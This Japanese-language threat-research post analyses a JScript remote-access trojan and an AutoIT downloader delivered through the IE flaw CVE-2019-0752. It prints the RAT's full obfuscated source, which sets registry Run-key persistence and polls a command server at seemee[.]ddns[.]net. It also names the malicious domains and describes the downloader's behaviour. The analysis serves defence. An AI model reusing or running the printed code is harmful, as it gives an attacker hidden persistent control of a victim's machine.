要約 ここ数か月、Windows ユーザーに感染するIE (Internet Explorer) ブラウザ用の高度なスクリプト系マルウェアが検知されています。今回はこれらスクリプトを調査し、その主たる機能を特定することで、攻撃者がスクリプト系マルウェアを好んで利用していることや、それが今後注意を要するトレンドにつながる可能性があることについて取り上げていきたいと思います。
攻撃者がスクリプト言語を使用する利点は、複数の機能を持たせられること、フレキシブルで使いやすいツールで、簡単に難読化された高度なマルウェアを作れることにあります。その実証をするのに、Windows ユーザーの感染に使用されるスクリプト系マルウェアのサンプルとして、今回はマルウェアを2つ検証しました。これらのサンプルは2つの異なるソースで発見されてはいますが、同じIEブラウザのエクスプロイトCVE-2019-0752脆弱性から派生しています。1つ目のサンプルはJScriptによるリモートアクセス型トロイの木馬(RAT)で、標的システムで永続性を確保してからエンコードしたネットワーク接続を使い攻撃者側のシステムに接続します。その後は標的マシン上で任意のコマンドを実行することで潜在的には同マシンを完全に自身の制御下におけるようになります。2つ目のサンプルはAutoITダウンローダーで、ネットワーク接続とスクリプト関数を使用してマルウェアをダウンロード・実行します。これにより、ランサムウェアやスパイウェアなどのマルウェアで標的システムを感染させることができます。
最後に、スクリプトベースのマルウェアで使用されているスクリプト言語をさらに詳しく紹介するために、攻撃者がブラウザエクスプロイトのペイロードとして、通常の実行ファイルの代わりにスクリプトを選択する理由について考察します。
安全なWebブラウジングのためのセキュリティのベストプラクティス に従って最新Windowsホストを使用している組織であれば感染リスクは大きく低下します。パロアルトネットワークスのお客様はIPSシグネチャでこの脅威から保護されています。またURLフィルタリング、WildFireはいずれも関連するサンプルやインフラをマルウェアと識別します。
CVE-2019-0752 CVE-2019-0752は2019年4月に更新プログラム が公開されたスクリプトエンジンのメモリ破損脆弱性で、標的マシン上でのリモートコード実行(RCE)につながる可能性があるものです。ここで検証する事例では、対象となる2つのサンプルのダウンロードのさい、同脆弱性のエクスプロイトによってPowerShellコマンドを実行していました。CVE-2019-0752脆弱性エクスプロイトの詳しいwrite-upはZero Day Initiativeのブログ記事 を参照してください。
ブラウザ内のJScript RAT 私たちは、4月18日にassurancetemporaireenligne[.]com ドメインからダウンロードしたc.js JScript RATを調査しました。CVE-2019-0752脆弱性のエクスプロイトで使用されているPowerShellコマンドを図1に示します。ここでは、c.js ファイルを分析します。まずはファイルの静的分析を行って、悪意のあるスクリプトの概要を把握していきます。次に動的分析を行ってスクリプトの動作を検証します。特に、悪意のあるスクリプトが標的マシン上で永続性を確保し、リモートサーバーに接続するさいに利用する手法について考察します。
図1: JScript RATサンプルのダウンロードと起動に使用されるコマンド c.jsファイルの静的分析 c.js スクリプトは難読化されていて一見しただけでは動作がわかりません(以下)。
var _0xd766 =[ "\x31\x6D\x20\x31\x75\x3D\x22\x31\x44\x22\x3B\x31\x6D\x20\x32\x66\x3D\x22\x32\x31\x3A\x2F\x2F\x32\x30\x2E\x31\x56\x2E\x31\x4A\x2F\x31\x46\x2F\x31\x54\x2F\x31\x4F\x22\x3B\x31\x6D\x20\x32\x34\x3D\x22\x31\x46\x2E\x31\x4B\x22\x3B\x31\x6D\x20\x31\x52\x3D\x22\x31\x48\x22\x3B\x31\x6D\x20\x32\x35\x3D\x27\x31\x43\x20\x7B\x62\x28\x29\x3B\x7D\x20\x31\x42\x20\x28\x62\x29\x20\x7B\x31\x53\x28\x31\x6A\x28\x70\x2C\x61\x2C\x63\x2C\x6B\x2C\x65\x2C\x64\x29\x7B\x65\x3D\x31\x6A\x28\x63\x29\x7B\x31\x6B\x28\x63\x3C\x61\x3F\x5C\x27\x5C\x27\x3A\x65\x28\x31\x50\x28\x63\x2F\x61\x29\x29\x29\x2B\x28\x28\x63\x3D\x63\x25\x61\x29\x3E\x33\x35\x3F\x31\x79\x2E\x31\x57\x28\x63\x2B\x32\x39\x29\x3A\x63\x2E\x31\x71\x28\x33\x36\x29\x29\x7D\x3B\x31\x72\x28\x21\x5C\x27\x5C\x27\x2E\x31\x78\x28\x2F\x5E\x2F\x2C\x31\x79\x29\x29\x7B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x64\x5B\x65\x28\x63\x29\x5D\x3D\x6B\x5B\x63\x5D\x7C\x7C\x65\x28\x63\x29\x7D\x6B\x3D\x5B\x31\x6A\x28\x65\x29\x7B\x31\x6B\x20\x64\x5B\x65\x5D\x7D\x5D\x3B\x65\x3D\x31\x6A\x28\x29\x7B\x31\x6B\x5C\x27\x5C\x5C\x5C\x5C\x77\x2B\x5C\x27\x7D\x3B\x63\x3D\x31\x7D\x3B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x31\x72\x28\x6B\x5B\x63\x5D\x29\x7B\x70\x3D\x70\x2E\x31\x78\x28\x31\x41\x20\x31\x51\x28\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2B\x65\x28\x63\x29\x2B\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2C\x5C\x27\x67\x5C\x27\x29\x2C\x6B\x5B\x63\x5D\x29\x7D\x7D\x31\x6B\x20\x70\x7D\x28\x5C\x27\x33\x20\x79\x3D\x63\x28\x42\x2C\x61\x29\x7B\x33\x20\x39\x3D\x5C\x5C\x5C\x27\x5C\x5C\x5C\x27\x3B\x6B\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x61\x2E\x7A\x3B\x69\x2B\x2B\x29\x7B\x39\x3D\x39\x2B\x47\x2E\x6E\x28\x61\x2E\x4A\x28\x69\x29\x2E\x50\x28\x30\x29\x5E\x42\x29\x7D\x68\x20\x39\x7D\x3B\x33\x20\x78\x3D\x63\x28\x61\x29\x7B\x33\x20\x39\x3D\x22\x22\x3B\x33\x20\x64\x3D\x61\x2E\x52\x28\x2F\x2E\x7B\x31\x2C\x32\x7D\x2F\x67\x29\x7C\x7C\x5B\x5D\x3B\x6B\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x64\x2E\x7A\x3B\x69\x2B\x2B\x29\x7B\x39\x2B\x3D\x47\x2E\x6E\x28\x54\x28\x64\x5B\x69\x5D\x2C\x31\x36\x29\x29\x7D\x3B\x68\x20\x39\x7D\x3B\x33\x20\x71\x3D\x63\x28\x6C\x2C\x73\x29\x7B\x68\x20\x74\x2E\x51\x28\x74\x2E\x53\x28\x29\x2A\x28\x73\x2D\x6C\x2B\x31\x29\x29\x2B\x6C\x7D\x3B\x33\x20\x62\x3D\x71\x28\x31\x2C\x4F\x29\x3B\x33\x20\x66\x3D\x22\x6F\x3A\x2F\x2F\x6D\x2E\x77\x2E\x76\x2F\x6A\x2F\x46\x2F\x48\x2F\x6A\x2E\x49\x3F\x72\x3D\x22\x2B\x62\x2E\x4B\x28\x29\x3B\x33\x20\x45\x3D\x22\x43\x22\x3B\x6B\x28\x3B\x3B\x29\x7B\x4C\x7B\x38\x3D\x44\x20\x4E\x28\x22\x4D\x2E\x55\x2E\x35\x2E\x31\x22\x29\x3B\x38\x2E\x31\x64\x28\x22\x31\x63\x22\x2C\x66\x2C\x30\x29\x3B\x70\x3D\x22\x31\x62\x2F\x34\x2E\x30\x20\x28\x31\x65\x3B\x20\x31\x66\x20\x37\x2E\x30\x3B\x20\x56\x20\x31\x68\x20\x36\x2E\x30\x29\x22\x3B\x75\x3D\x22\x31\x39\x2D\x31\x30\x22\x3B\x38\x2E\x31\x61\x28\x75\x2C\x70\x29\x3B\x38\x2E\x5A\x28\x29\x3B\x38\x2E\x59\x28\x29\x3B\x57\x28\x38\x2E\x58\x3D\x3D\x31\x31\x29\x7B\x33\x20\x41\x3D\x22\x33\x20\x66\x3D\x5C\x5C\x5C\x5C\x22\x6F\x3A\x2F\x2F\x6D\x2E\x77\x2E\x76\x2F\x6A\x2F\x46\x2F\x48\x2F\x31\x32\x2E\x49\x5C\x5C\x5C\x5C\x22\x3B\x33\x20\x45\x3D\x5C\x5C\x5C\x5C\x22\x43\x5C\x5C\x5C\x5C\x22\x3B\x22\x2B\x79\x28\x62\x2C\x78\x28\x38\x2E\x31\x38\x29\x29\x3B\x44\x20\x31\x37\x28\x41\x29\x28\x29\x7D\x7D\x31\x35\x28\x65\x29\x7B\x7D\x3B\x31\x33\x2E\x31\x34\x28\x31\x67\x29\x7D\x3B\x5C\x27\x2C\x32\x6F\x2C\x32\x37\x2C\x5C\x27\x7C\x7C\x7C\x31\x6D\x7C\x7C\x7C\x7C\x7C\x32\x63\x7C\x32\x64\x7C\x32\x61\x7C\x32\x38\x7C\x31\x6A\x7C\x32\x36\x7C\x7C\x32\x6D\x7C\x7C\x31\x6B\x7C\x7C\x31\x46\x7C\x32\x43\x7C\x32\x7A\x7C\x32\x30\x7C\x31\x57\x7C\x32\x31\x7C\x32\x75\x7C\x32\x76\x7C\x7C\x32\x78\x7C\x32\x77\x7C\x32\x42\x7C\x31\x4A\x7C\x31\x56\x7C\x32\x71\x7C\x32\x72\x7C\x32\x73\x7C\x31\x48\x7C\x32\x74\x7C\x31\x44\x7C\x31\x41\x7C\x31\x75\x7C\x31\x54\x7C\x31\x79\x7C\x31\x4F\x7C\x32\x41\x7C\x32\x47\x7C\x31\x71\x7C\x31\x43\x7C\x32\x48\x7C\x32\x49\x7C\x32\x46\x7C\x32\x45\x7C\x32\x70\x7C\x32\x44\x7C\x32\x4A\x7C\x31\x50\x7C\x32\x4B\x7C\x32\x32\x7C\x31\x72\x7C\x32\x65\x7C\x32\x62\x7C\x32\x6C\x7C\x32\x6E\x7C\x32\x6B\x7C\x32\x6A\x7C\x31\x6C\x7C\x32\x67\x7C\x31\x42\x7C\x7C\x31\x55\x7C\x32\x68\x7C\x32\x69\x7C\x32\x79\x7C\x32\x58\x7C\x33\x61\x7C\x33\x63\x7C\x33\x64\x7C\x33\x65\x7C\x33\x62\x7C\x33\x37\x5C\x27\x2E\x31\x4E\x28\x5C\x27\x7C\x5C\x27\x29\x2C\x30\x2C\x7B\x7D\x29\x29\x7D\x3B\x27\x3B\x31\x6D\x20\x31\x77\x3D\x27\x31\x43\x20\x7B\x61\x28\x29\x3B\x7D\x20\x31\x42\x20\x28\x33\x38\x29\x20\x7B\x31\x53\x28\x31\x6A\x28\x70\x2C\x61\x2C\x63\x2C\x6B\x2C\x65\x2C\x64\x29\x7B\x65\x3D\x31\x6A\x28\x63\x29\x7B\x31\x6B\x20\x63\x2E\x31\x71\x28\x33\x36\x29\x7D\x3B\x31\x72\x28\x21\x5C\x27\x5C\x27\x2E\x31\x78\x28\x2F\x5E\x2F\x2C\x31\x79\x29\x29\x7B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x64\x5B\x63\x2E\x31\x71\x28\x61\x29\x5D\x3D\x6B\x5B\x63\x5D\x7C\x7C\x63\x2E\x31\x71\x28\x61\x29\x7D\x6B\x3D\x5B\x31\x6A\x28\x65\x29\x7B\x31\x6B\x20\x64\x5B\x65\x5D\x7D\x5D\x3B\x65\x3D\x31\x6A\x28\x29\x7B\x31\x6B\x5C\x27\x5C\x5C\x5C\x5C\x77\x2B\x5C\x27\x7D\x3B\x63\x3D\x31\x7D\x3B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x31\x72\x28\x6B\x5B\x63\x5D\x29\x7B\x70\x3D\x70\x2E\x31\x78\x28\x31\x41\x20\x31\x51\x28\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2B\x65\x28\x63\x29\x2B\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2C\x5C\x27\x67\x5C\x27\x29\x2C\x6B\x5B\x63\x5D\x29\x7D\x7D\x31\x6B\x20\x70\x7D\x28\x5C\x27\x34\x20\x30\x3D\x22\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x22\x3B\x35\x20\x33\x28\x31\x2E\x32\x28\x22\x31\x2E\x62\x22\x29\x2E\x36\x28\x22\x39\x22\x2B\x30\x2B\x22\x38\x22\x2B\x30\x2B\x22\x37\x22\x2B\x30\x2B\x22\x61\x22\x29\x29\x28\x29\x3B\x5C\x27\x2C\x31\x32\x2C\x31\x32\x2C\x5C\x27\x31\x69\x7C\x31\x6C\x7C\x31\x73\x7C\x31\x55\x7C\x31\x6D\x7C\x31\x41\x7C\x33\x33\x7C\x31\x44\x7C\x31\x47\x7C\x31\x49\x7C\x31\x48\x7C\x31\x4D\x5C\x27\x2E\x31\x4E\x28\x5C\x27\x7C\x5C\x27\x29\x2C\x30\x2C\x7B\x7D\x29\x29\x7D\x3B\x27\x3B\x31\x69\x3D\x22\x5C\x5C\x22\x3B\x31\x74\x3D\x22\x22\x3B\x31\x6F\x3D\x31\x6C\x2E\x31\x73\x28\x22\x31\x6C\x2E\x31\x4D\x22\x29\x3B\x31\x4C\x3D\x31\x6C\x2E\x31\x73\x28\x22\x31\x5A\x2E\x32\x51\x22\x29\x3B\x31\x77\x3D\x31\x4C\x2E\x32\x52\x28\x22\x2E\x31\x4B\x22\x2C\x31\x77\x2C\x30\x2C\x22\x22\x29\x3B\x31\x74\x3D\x31\x74\x2B\x22\x65\x22\x3B\x31\x76\x3D\x22\x31\x49\x22\x2B\x31\x69\x2B\x22\x31\x47\x22\x2B\x31\x69\x2B\x31\x75\x2B\x31\x69\x2B\x31\x52\x3B\x31\x6F\x2E\x31\x58\x28\x31\x76\x2C\x32\x35\x29\x3B\x31\x45\x3D\x31\x6F\x2E\x32\x53\x28\x22\x25\x32\x50\x25\x22\x29\x3B\x31\x6F\x2E\x32\x4F\x3D\x31\x45\x3B\x31\x70\x3D\x31\x45\x2B\x31\x69\x2B\x32\x34\x2B\x31\x74\x3B\x31\x76\x3D\x22\x31\x49\x22\x2B\x31\x69\x2B\x22\x31\x47\x22\x2B\x31\x69\x2B\x22\x32\x4C\x22\x2B\x31\x69\x2B\x22\x32\x32\x22\x2B\x31\x69\x2B\x22\x33\x34\x22\x2B\x31\x69\x2B\x22\x32\x33\x22\x2B\x31\x69\x2B\x31\x75\x3B\x31\x6F\x2E\x31\x58\x28\x31\x76\x2C\x31\x70\x29\x3B\x31\x6E\x3D\x31\x6C\x2E\x31\x73\x28\x22\x32\x4D\x2E\x32\x4E\x22\x29\x3B\x31\x6E\x2E\x32\x54\x28\x29\x3B\x31\x6E\x2E\x32\x55\x3D\x32\x3B\x31\x6E\x2E\x33\x30\x3D\x30\x3B\x31\x6E\x2E\x33\x31\x28\x31\x77\x29\x3B\x31\x6E\x2E\x33\x32\x28\x31\x70\x2C\x32\x29\x3B\x31\x6E\x2E\x32\x5A\x28\x29\x3B\x31\x6F\x2E\x32\x33\x28\x27\x22\x27\x2B\x31\x70\x2B\x27\x22\x27\x2C\x30\x2C\x32\x59\x29\x3B\x31\x59\x3D\x31\x6C\x2E\x31\x73\x28\x22\x31\x5A\x2E\x32\x56\x22\x29\x3B\x31\x70\x3D\x31\x6C\x2E\x32\x57\x3B\x31\x59\x2E\x33\x39\x28\x31\x70\x29\x3B" , "\x7C" , "\x73\x70\x6C\x69\x74" , "\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x6F\x74\x70\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x57\x53\x63\x72\x69\x70\x74\x7C\x76\x61\x72\x7C\x73\x74\x72\x65\x61\x6D\x7C\x53\x68\x65\x6C\x6C\x4F\x62\x6A\x7C\x50\x61\x74\x68\x58\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x69\x66\x7C\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x7C\x65\x78\x74\x7C\x61\x75\x74\x6F\x6E\x61\x6D\x65\x7C\x52\x65\x67\x50\x61\x74\x68\x7C\x64\x61\x74\x61\x32\x7C\x72\x65\x70\x6C\x61\x63\x65\x7C\x53\x74\x72\x69\x6E\x67\x7C\x77\x68\x69\x6C\x65\x7C\x6E\x65\x77\x7C\x63\x61\x74\x63\x68\x7C\x74\x72\x79\x7C\x6C\x6F\x61\x64\x65\x72\x4E\x61\x6D\x65\x7C\x50\x61\x74\x68\x59\x7C\x6C\x6F\x61\x64\x65\x72\x7C\x53\x6F\x66\x74\x77\x61\x72\x65\x7C\x64\x61\x74\x61\x7C\x48\x4B\x43\x55\x7C\x6E\x65\x74\x7C\x6A\x73\x7C\x45\x6E\x63\x4F\x62\x6A\x7C\x53\x68\x65\x6C\x6C\x7C\x73\x70\x6C\x69\x74\x7C\x77\x77\x77\x7C\x70\x61\x72\x73\x65\x49\x6E\x74\x7C\x52\x65\x67\x45\x78\x70\x7C\x72\x65\x67\x6E\x61\x6D\x65\x7C\x65\x76\x61\x6C\x7C\x6C\x6F\x61\x64\x65\x72\x32\x7C\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x64\x64\x6E\x73\x7C\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65\x7C\x52\x65\x67\x57\x72\x69\x74\x65\x7C\x46\x73\x6F\x4F\x62\x6A\x7C\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x7C\x73\x65\x65\x6D\x65\x65\x7C\x68\x74\x74\x70\x7C\x57\x69\x6E\x64\x6F\x77\x73\x7C\x52\x75\x6E\x7C\x62\x6F\x74\x6E\x61\x6D\x65\x7C\x64\x61\x74\x61\x31\x7C\x68\x65\x7C\x38\x30\x7C\x63\x6F\x64\x7C\x7C\x73\x74\x7C\x57\x61\x69\x74\x46\x6F\x72\x52\x65\x73\x70\x6F\x6E\x73\x65\x7C\x58\x6D\x6C\x68\x74\x74\x70\x4F\x62\x6A\x7C\x72\x65\x73\x7C\x73\x74\x61\x74\x75\x73\x7C\x68\x6F\x73\x74\x7C\x53\x6C\x65\x65\x70\x7C\x52\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74\x7C\x55\x73\x65\x72\x7C\x63\x6D\x64\x7C\x32\x30\x30\x7C\x73\x65\x6E\x64\x7C\x73\x65\x72\x76\x65\x72\x7C\x41\x67\x65\x6E\x74\x7C\x36\x32\x7C\x66\x6C\x6F\x6F\x72\x7C\x64\x68\x7C\x65\x6E\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x6B\x65\x79\x7C\x55\x73\x72\x61\x7C\x72\x6E\x64\x7C\x4D\x61\x74\x68\x7C\x6D\x61\x78\x7C\x53\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x7C\x6D\x69\x6E\x7C\x70\x68\x70\x7C\x55\x73\x72\x62\x7C\x66\x6F\x72\x7C\x6D\x61\x74\x63\x68\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x32\x35\x35\x7C\x63\x68\x61\x72\x41\x74\x7C\x57\x69\x6E\x48\x74\x74\x70\x7C\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x57\x69\x6E\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74\x7C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x7C\x41\x44\x4F\x44\x42\x7C\x53\x74\x72\x65\x61\x6D\x7C\x43\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x7C\x41\x50\x50\x44\x41\x54\x41\x7C\x45\x6E\x63\x6F\x64\x65\x72\x7C\x45\x6E\x63\x6F\x64\x65\x53\x63\x72\x69\x70\x74\x46\x69\x6C\x65\x7C\x65\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x7C\x4F\x70\x65\x6E\x7C\x54\x79\x70\x65\x7C\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74\x7C\x53\x63\x72\x69\x70\x74\x46\x75\x6C\x6C\x4E\x61\x6D\x65\x7C\x4D\x6F\x7A\x69\x6C\x6C\x61\x7C\x66\x61\x6C\x73\x65\x7C\x43\x6C\x6F\x73\x65\x7C\x50\x6F\x73\x69\x74\x69\x6F\x6E\x7C\x57\x72\x69\x74\x65\x54\x65\x78\x74\x7C\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65\x7C\x52\x65\x67\x52\x65\x61\x64\x7C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x7C\x7C\x7C\x4E\x54\x7C\x61\x61\x7C\x44\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x7C\x67\x65\x74\x7C\x35\x30\x30\x30\x7C\x6F\x70\x65\x6E\x7C\x63\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x7C\x4D\x53\x49\x45" , "" , "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65" , "\x72\x65\x70\x6C\x61\x63\x65" , "\x5C\x77\x2B" , "\x5C\x62" , "\x67" ] ; try { s ( ) } catch ( s ) { eval ( function ( _0xcddfx1 , _0xcddfx2 , _0xcddfx3 , _0xcddfx4 , _0xcddfx5 , _0xcddfx6 ) { _0xcddfx5 = function ( _0xcddfx3 ) { return ( _0xcddfx3 < _0xcddfx2 ? _0xd766 [ 4 ] : _0xcddfx5 ( parseInt ( _0xcddfx3 / _0xcddfx2 ) ) ) + ( ( _0xcddfx3 = _0xcddfx3 % _0xcddfx2 ) > 35 ? String [ _0xd766 [ 5 ] ] ( _0xcddfx3 + 29 ) : _0xcddfx3 . toString ( 36 ) ) } ; if ( ! _0xd766 [ 4 ] [ _0xd766 [ 6 ] ] ( /^/, String ) ) { while ( _0xcddfx3 --) { _0xcddfx6 [ _0xcddfx5 ( _0xcddfx3 ) ] = _0xcddfx4 [ _0xcddfx3 ] | | _0xcddfx5 ( _0xcddfx3 ) } ; _0xcddfx4 = [ function ( _0xcddfx5 ) { return _0xcddfx6 [ _0xcddfx5 ] } ] ; _0xcddfx5 = function ( ) { return _0xd766 [ 7 ] } ; _0xcddfx3 = 1 } ; while ( _0xcddfx3 --) { if ( _0xcddfx4 [ _0xcddfx3 ] ) { _0xcddfx1 = _0xcddfx1 [ _0xd766 [ 6 ] ] ( new RegExp ( _0xd766 [ 8 ] + _0xcddfx5 ( _0xcddfx3 ) + _0xd766 [ 8 ] , _0xd766 [ 9 ] ) , _0xcddfx4 [ _0xcddfx3 ] ) } } ; return _0xcddfx1 } ( _0xd766 [ 0 ] , 62 , 201 , _0xd766 [ 3 ] [ _0xd766 [ 2 ] ] ( _0xd766 [ 1 ] ) , 0 , { } ) ) }
難読化を解除すると、図2に示すように、data1 とdata2 に、2つのパックされたJScriptコードのまとまりが格納されていることがわかります。
図2: 難読化が解除されたc.jsスクリプト、パート1 図3は、data1 に格納されているコードがHKCU\Software\loaderName レジストリキーに挿入され、data2 に格納されているコードがEncodeScriptFile関数を使用してエンコードされ、loader.jse ファイルに書き込まれることを示しています。続いて、loader.jse スクリプトのパスがHKCU\Software\Microsoft\Windows\CurrentVersion\Run レジストリキーに渡され、それ以降は使用されることはありません(この動作については、次の項で詳しく説明します)。また、host 変数が、hxxp://seemee[.]ddns[.]net/loader/loader2/www URLで初期化されています。この変数はこのスクリプトでは使用されていませんが、実行時にネットワーク活動が行われることを示しています。最後にloader.jse が実行され、c.js は自身を削除します。
図3: 難読化が解除されたc.jsスクリプト、パート2 悪意のあるスクリプトのコードの概要を把握したら、次は動的分析により、その動作について詳しく見ていきましょう。
永続性を確保する手法 まず、c.js スクリプトは、レジストリキーHKCU\Software\Microsoft\Windows\CurrentVersion\Run を作成して新しい値を設定します。loaderName という名前のこの値には、以下の図4に示すように、特定のloader.jse ファイルのパスが設定されます。
図4: RegSetValueExAのAPIフック Run キーにより、ユーザーがログオンするたびにプログラムが実行され、Windows OSが起動するたびに、(まだ作成されていませんが)loader.jse スクリプトが自動的に実行されます。図5に、c.js スクリプトの永続性確保の次のステップを示します。ここでは、スクリプトにより、実際のloader.jse ファイルが作成されています。図5は、loader.jse スクリプトがAppData フォルダに作成されることも示しています。AppData フォルダはWindows OSではデフォルトで非表示のフォルダなので、被害者はシステムに悪意のあるファイルが存在することになかなか気づけません。
図5: CreateFileWのAPIフック loader.jse ファイルの作成後、図6に示すように、c.js スクリプトはこのファイルのオープンハンドルを使用して、図7に示すように、そのファイルにコードを挿入します。
図6: CreateFileW関数の戻り値
図7: WriteFileのAPIフック 図7は、ファイルに書き込まれるコードが難読化されていることも示しています。ファイルの先頭にあるマジックバイト「#@~^ 」のおかげで、loader.jse スクリプトがMicrosoftのスクリプトエンコーディングでエンコードされていることがわかります。これは、私たちの静的分析と一致しています。その後、エンコードされたファイルはShellExecute 関数により実行され(図8)、c.js ファイルは自身を削除します。
図8: ShellExecuteExWのAPIフック 要約すると、標的ホスト上で永続性を確保するために、c.js ファイルは痕跡を残さないようにしています。このために、WindowsレジストリキーRun を使用し、エンコードされたファイルloader.jse を非表示フォルダにドロップしてから、自身を削除します。
リモートサーバーへの接続 loader.jse の動作とリモートサーバーへの接続を分析する前に、c.js ファイルの実行に戻る必要があります。静的分析で確認したように、このファイルはHKCU\Software\loaderName というレジストリキーも作成し、このキーに値data を設定して、パックされたJScriptコードを格納します。図9にこの動作を示します。
図9: c.jsファイルの実行中のRegSetValueExAのAPIフック loader.jse の実行時に、レジストリキーHKCU\Software\loaderName が開かれ(図10)、データ値に含まれるコードが実行されるため、c.js 実行のこのステップは非常に重要です。
図10: loader.jseファイルの実行中のRegOpenKeyExAのAPIフック 次に、レジストリキーloaderName 内のパックされたコードを見てみると、function(p,a,c,k,e,d) パターンが含まれることがわかります(図11)。このパターンは、コードの難読化にDean Edwardsパッカー が使用されていることを示しています。このパッカーは今はもう古いですが、一般的であったときには、安全なスクリプトでも広く使用されていました。このため、多くの検知テクノロジでホワイトリストに登録されています。
図11: loaderNameレジストリキーとパックされたコード コードをアンパックすると、図12に示すように、hxxp://seemee[.]ddns [.]net ドメインのloader.php ページに対してGET 要求が送信されています。引数r は悪意のあるスクリプトとリモートサーバーで共有されている乱数であり、ネットワーク上を送受信されるデータをエンコードおよびデコードするためのトークンのように使用されています。ここでは、GET 要求への応答をデコードするために、文字列をデコードする機能を持つ別の関数が使用されています。リモートサーバーとの接続が確立されたため、悪意のあるスクリプトはGET 要求への応答で受信したコードを使用して、攻撃者が標的マシン上で実行するコマンドを選択できるパネルであるcmd.php ページに接続します。
図12: loader.jseにより実行されるアンパックされたコード 要求の応答に含まれるスクリプトは、cmd.php ページに対して要求を送信して、実行するタスクの指示を取得する無限ループです(図13)。
図13: タスクの起動 攻撃者は、コマンドの実行、ファイルのダウンロード、Windows OSの再起動、現在のタスクの終了、Windows OSのシャットダウンなど、標的システム上で複数のタスクを実行できます(図14)。
図14: 標的マシンで実行可能なコマンド AutoITダウンローダー JScript RATの発見直後の2020年4月30日に、私たちは同じ脆弱性CVE-2019-0752を使用してdark[.]crypterfile[.]com ドメインからダウンロードされた2.exe ファイルを調査しました(図15)。この項では、コンパイルされたAutoITスクリプトを分析します。
図15: AutoITダウンローダーのサンプルのダウンロードと起動に使用されるコマンド 技術分析 Portable Executable (PE)ファイルを逆アセンブルしたところ、コンパイルされたAutoITスクリプトが存在するというヒントが見つかりました。コードには、PEファイルをデバッガーとともに実行しているかどうかを確認するチェックが含まれていました(図16)。実行している場合は、「This is a third party compiled AutoIT script 」(これはサードパーティ製のコンパイルされたAutoITスクリプトです)というメッセージを含むメッセージボックスが表示されます(図17)。
図16: デバッガーチェック 図17: コンパイルされたAutoITスクリプトの存在を示すメッセージ AutoITスクリプト逆コンパイラを使用してコードを逆コンパイルしたところ(図18)、スクリプトが2つの部分に分かれていることがわかりました。最初の部分では、システム情報の取得を制御しています。この情報が$asysinfo 配列に格納されます。続いて、論理プロセッサの数に対応している、この配列の6番目の要素がチェックされます。このチェックでは、論理プロセッサの数が4以上であるかどうかを確認し、スクリプトの2番目の部分である、悪意のあるファイルのダウンロードに入ります。InetGet およびRun AutoIT関数を使用して、悪意のあるスクリプトは標的システム上で複数のファイルをダウンロードして実行します。最後にダウンロードされたファイルは現在のユーザーのスタートアップフォルダに格納されるため、ユーザーがWindows OSにログインするたびに、このファイルが実行されます。これにより、攻撃者は標的システム上での永続性を確保することができます。
図18: 悪意のあるAutoITスクリプト スクリプトを使用する理由 2つのサンプルの分析により、攻撃者が標的システム上でスクリプトを使用してどのように悪意のある活動を実行しているかを理解することができました。この項では、攻撃者が通常の実行ファイルではなく、スクリプトを選択することにつながる理由について考察します。
まず、JScript、VBScript、そしてAutoITのようなスクリプト言語は、もともとWindows環境でのタスクの実行を自動化および簡素化するために開発されたものであるため、これらの言語にはWindows APIの呼び出しを容易にする複数の関数が用意されています。このような関数は使いやすいため、攻撃者は簡単にネットワーク接続を確立し、Windows環境とやり取りすることにより、たとえばシェルコマンドを実行できます。また、スクリプト言語はCやC++よりも高レベルであることが多く、攻撃者が簡単に習得し、利用することができます。数行のコードだけで、攻撃者はネットワーク接続、標的システム上での永続性、コマンドの実行などの多くの機能を含む、実用的で柔軟性の高い悪意のあるプログラムを構築することが可能です。
